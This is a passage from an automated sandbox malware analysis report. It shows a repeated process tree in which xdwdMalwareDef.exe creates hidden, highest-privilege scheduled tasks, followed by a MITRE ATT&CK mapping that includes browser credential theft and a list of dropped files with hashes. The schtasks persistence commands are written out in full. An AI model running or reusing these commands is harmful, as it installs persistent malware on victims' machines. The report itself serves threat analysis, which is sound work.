    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:8008
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:3952
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6148

C:\Windows\Sub\xdwdMalwareDef.exe
"C:\Windows\Sub\xdwdMalwareDef.exe"
1⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:4852
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:876
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2632
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:6316
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    PID:6412

C:\Windows\Sub\xdwdMalwareDef.exe
"C:\Windows\Sub\xdwdMalwareDef.exe"
1⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:5832
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:6444
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:8000
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:3368
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    PID:244

C:\Windows\Sub\xdwdMalwareDef.exe
"C:\Windows\Sub\xdwdMalwareDef.exe"
1⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:3768
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:6968
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6240
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:6608
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    PID:1560

C:\Windows\Sub\xdwdMalwareDef.exe
"C:\Windows\Sub\xdwdMalwareDef.exe"
1⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:5560
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:5072
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    PID:5048
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:5176
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4920

C:\Windows\Sub\xdwdMalwareDef.exe
"C:\Windows\Sub\xdwdMalwareDef.exe"
1⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:3908
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:6244
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    PID:8072
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:4268
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    PID:7872

C:\Windows\Sub\xdwdMalwareDef.exe
"C:\Windows\Sub\xdwdMalwareDef.exe"
1⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:2724
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:7136
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7728
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:4868
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    PID:8148

C:\Windows\Sub\xdwdMalwareDef.exe
"C:\Windows\Sub\xdwdMalwareDef.exe"
1⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:5672
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:6364
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4812
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:4164
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    PID:6280

C:\Windows\Sub\xdwdMalwareDef.exe
"C:\Windows\Sub\xdwdMalwareDef.exe"
1⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:5668
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:6520
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7988
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:5860
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:8052

C:\Windows\Sub\xdwdMalwareDef.exe
"C:\Windows\Sub\xdwdMalwareDef.exe"
1⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:3352
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:4416
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    PID:1556
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:7232
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    PID:6432

C:\Windows\Sub\xdwdMalwareDef.exe
"C:\Windows\Sub\xdwdMalwareDef.exe"
1⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:3356
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:3280
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3064
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:5248
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    PID:6252

C:\Windows\Sub\xdwdMalwareDef.exe
"C:\Windows\Sub\xdwdMalwareDef.exe"
1⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:3456
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:3388
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7080
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:3788
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3336

C:\Windows\Sub\xdwdMalwareDef.exe
"C:\Windows\Sub\xdwdMalwareDef.exe"
1⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:4736
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:6588
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7476
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:3348
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    PID:6716

C:\Windows\Sub\xdwdMalwareDef.exe
"C:\Windows\Sub\xdwdMalwareDef.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:4612
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:1496
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    PID:8084
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:4916
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1152

C:\Windows\Sub\xdwdMalwareDef.exe
"C:\Windows\Sub\xdwdMalwareDef.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:4136
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:3976
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6716
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:7188
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    PID:2708

C:\Windows\Sub\xdwdMalwareDef.exe
"C:\Windows\Sub\xdwdMalwareDef.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:4980
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:4716
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1560
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    PID:5340
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:1592
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    PID:6308

C:\Windows\Sub\xdwdMalwareDef.exe
"C:\Windows\Sub\xdwdMalwareDef.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:1056
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:6332
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2780
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:6904
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    PID:5208

C:\Windows\Sub\xdwdMalwareDef.exe
"C:\Windows\Sub\xdwdMalwareDef.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:1288
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:2156
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    PID:6556
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:3528
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    PID:6436

C:\Windows\Sub\xdwdMalwareDef.exe
"C:\Windows\Sub\xdwdMalwareDef.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:3176
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:7100
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7024
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:7340
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7960

C:\Windows\Sub\xdwdMalwareDef.exe
"C:\Windows\Sub\xdwdMalwareDef.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:2148
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:5916
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3760
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:3312
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    PID:6288

C:\Windows\Sub\xdwdMalwareDef.exe
"C:\Windows\Sub\xdwdMalwareDef.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:6096
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:4744
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    PID:6416
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:4436
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1720

C:\Windows\Sub\xdwdMalwareDef.exe
"C:\Windows\Sub\xdwdMalwareDef.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:3268
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:2936
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6228
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:7224
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:844

C:\Windows\Sub\xdwdMalwareDef.exe
"C:\Windows\Sub\xdwdMalwareDef.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:1212
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:2908
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    PID:6480
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:7216
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6340

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Event Triggered Execution

T1546

AppInit DLLs

T1546.010

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Event Triggered Execution

T1546

AppInit DLLs

T1546.010

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Network Share Discovery

T1135

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 b6f5039e705a03b039e6b1067b4a129577add9b8cf31da99b5a9eefc7efb21a7
MD5 e13c891c75d9d3bbb7b38d9dd4c17677
SHA1 1f82fe8d33fab1c48bfd07d52552e37fc3463319
SHA512 65b26e8bb3ae3555a7499bce191eb81f4d08f3b91e3f45db7bcb9b2ab029c9451c737a88094663dac32cfeb8d08ff9ac9972f0279c568f7e89d1b376be5c83ca
TLSH
T1D0317933B3DC86E5D899413A00CAAD1037B697D790DECED77B84D249B53F298CE60690
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 e9bc0b1445b8d8f585adbd67f5a7b15a487a66d1c2c8b95167180bf8dd90732d
MD5 6f287665ed26523c3d4cb3feb1f4fc11
SHA1 fc653266d773cf47f26305a099b2ddf5c9bac2ba
SHA512 d180c28516bacc9c24ce0b2b3e5d6a5f1259937971d4f08cbe479f18a806db69a9ac0980b61de310af01eceb4dfb3dba917b22013edb406ecc0b9ab400875e24
TLSH
T110317933B3DC86E5D899413A00CEAD1436B697D790DECED77B84D648B53F298CE60990
MD5 SHA1 SHA512 TLSH

Submit Download

HolyCheck.exe

Path C:\Users\Admin\AppData\Local\Temp\HolyCheck.exe
Size 1.1MB
SHA256 d16bf501c85a57516a504e87cab5ef038719b777b7e7151263f8b0d0eca8d8b4
MD5 2ea64b25d639dcc5cbfee7a07d6765f4
SHA1 b1a968fb88b94cc3d5c21a7f2b771f242e66a499
SHA512 e01af915caf95c3dca415e29bc1bfb1bc474123187c9273027a38e9cddd77df97c8e09927e4047288db39f46bf1f642858d861e7a6904d651924163b8025149f
SSDEEP 24576:oM5ppZJ5po7onZcDRIcyVaxakRYlPvGB0AdfXCaRb:oM5ppZJ5poUcaExmvmfSaR
TLSH
T170452A10A6E402A8E1B7D774DE7B5845E777B94A0730A9DF0394955F0F339888A3EB32
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_g4px4itd.po5.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_g4px4itd.po5.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

cheaasd.exe

Path C:\Users\Admin\AppData\Local\Temp\cheaasd.exe
Size 621KB
SHA256 4b83b3340ecc870d81854e2eb7f96976835c4a9094a888d32d7fc59117602626
MD5 5300d3c05c6ed2c5d5ed91e89af166ce
SHA1 ab94405bd9cb1f95a5587047d47c25cdfecbc698
SHA512 28442aeca93a46c8dd54f6008238c27c50b8bc8972be3e96deb5f84143eaf9791b94583b23e8fbf63363ab7533682cc622c7068f64e60e20c77dd55e8d8fb48b
SSDEEP 12288:d1iOgGlqvqZdk71qJ0/tG+yOgEYmNFpH1uhK1+Y:dj3Zdk71HFgSFpvf
TLSH
T118D4B2256FF4AE00E588153D857A2619DB32E0E217037747370BB2B24D4A9DEDE6C3DA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

browserdownloadsview.zip.part

Path C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview.zip.part
Size 148KB
SHA256 045704359255b9992c14d1fbab9d05f90879dd71f54fbbf7b6922660f0020cbb
MD5 4a6d940b4a036926317927dbd2a03adb
SHA1 207613866b504d4fd2bc80b3437cebf91cf9c41e
SHA512 094db63f3fcef9023ef1f5c05d71a8001602cd10a122dc1ceadc9a38efea604a81478c9daf3acd80a73808612fceb4c658ad1354ea4d4135b0bb102b5db5947f
SSDEEP 3072:5tXgNATH0cH7YxHNyQtjiNCeBeV71Z5HO81:5GATHnHkyQ0HMJZpOs
TLSH
T12EE312B86A3474C097B3ACB7ED17209C4FEFAEC447763A552364A2C094E3E9A54723C4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

browserdownloadsview.zip.part

Path C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview.zip.part
Size 239KB
SHA256 60e95026983e128a81f7c7ed11fe7e94373ce4604216fd879f7d340cf8844d3a
MD5 7763ef1c11bbb141c4476592a64c2535
